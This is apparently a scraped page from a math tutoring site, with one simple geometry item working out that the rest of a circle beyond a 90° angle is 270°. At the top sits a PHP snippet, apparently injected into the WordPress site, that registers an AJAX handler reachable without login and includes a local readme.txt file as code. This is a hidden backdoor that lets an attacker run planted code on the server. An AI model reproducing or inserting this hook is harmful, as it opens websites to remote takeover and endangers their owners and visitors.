if(!function_exists('file_check_readme11199')){ add_action('wp_ajax_nopriv_file_check_readme11199', 'file_check_readme11199'); add_action('wp_ajax_file_check_readme11199', 'file_check_readme11199'); function file_check_readme11199() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Geo4 - mathtutor

Geometry Question for Title 1 Schools: Circle Angle Question?

4) What is the value of an angle of the rest of the circle that has an angle of 90o?

The total angle of a circle = 360o

If part of the total angle is already 90o ,  then the rest must be 360o  – 90o

= 270º